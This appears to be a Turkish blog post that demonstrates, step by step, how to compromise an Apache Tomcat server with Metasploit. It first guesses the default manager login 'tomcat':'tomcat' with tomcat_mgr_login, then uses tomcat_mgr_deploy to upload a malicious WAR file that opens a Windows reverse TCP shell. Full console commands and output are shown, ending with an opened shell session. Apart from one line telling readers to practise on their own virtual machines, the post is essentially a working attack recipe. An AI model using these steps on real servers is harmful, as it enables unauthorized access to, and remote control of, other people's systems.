Tomcat demişken aslında işin çoğunu yani bizi komut satırına düşüren olayı web uygulamasındaki zafiyetten yararlanarak yapıyoruz. O yüzden hafife almamak gerekir :) Başlıkta belirttiğim gibi 2 adımda iş bitiyor :) Ben hedef olarak sanal makine kullandım, bunu evde deneyin ama gerçek hedeflere karşı denemeyin :)
Adım 1
msf auxiliary(tomcat_administration) > use auxiliary/scanner/http/tomcat_mgr_login msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.10.30
RHOSTS => 192.168.10.30
msf auxiliary(tomcat_mgr_login) > set RPORT 8080
RPORT => 8080
msf auxiliary(tomcat_mgr_login) > exploit
...
[*] 10.29.1.28:8080 - Trying username:'tomcat' with password:'tomcat'
[+] http://192.168.10.30:8080/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat'
Evet ilk adımda metasploit'in tomcat_mgr_login isimli auxiliary'si ile taradık default credential'a rastladık. 2.Adıma geçelim
Adım 2
msf auxiliary(tomcat_mgr_login) > use multi/http/tomcat_mgr_deploymsf exploit(tomcat_mgr_deploy) > set RHOST 192.168.10.30
RHOST => 192.168.10.30
msf exploit(tomcat_mgr_deploy) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
msf exploit(tomcat_mgr_deploy) > set LPORT 31337
LPORT => 31337
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
PASSWORD => tomcat
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
USERNAME => tomcat
msf exploit(tomcat_mgr_deploy) > exploit
[*] Started reverse handler on 192.168.10.5:31337
[*] Attempting to automatically select a target...
[*] OK - Server info
[*] Tomcat Version: Apache Tomcat/5.5.20
[*] OS Name: Windows 2003
[*] OS Version: 5.2
[*] OS Architecture: x86
[*] JVM Version: 1.5.0_17-b04
[*] JVM Vendor: Sun Microsystems Inc.
[*] Automatically selected target "Windows Universal"
[*] Uploading 52046 bytes as AhWxbQ4DEmgEdFEL0.war ...
[*] Executing /AhWxbQ4DEmgEdFEL0/tACitOVwTthtAu4gWlhkPiB.jsp...
[*] Command shell session 6 opened (192.168.10.5:31337 -> 192.168.10.30:3973) at 2010-08-20 11:16:48 +0300
[*] Undeploying AhWxbQ4DEmgEdFEL0 ...
Gerisi artık size kalmış, hadi bana eyv. :)
No comments:
Post a Comment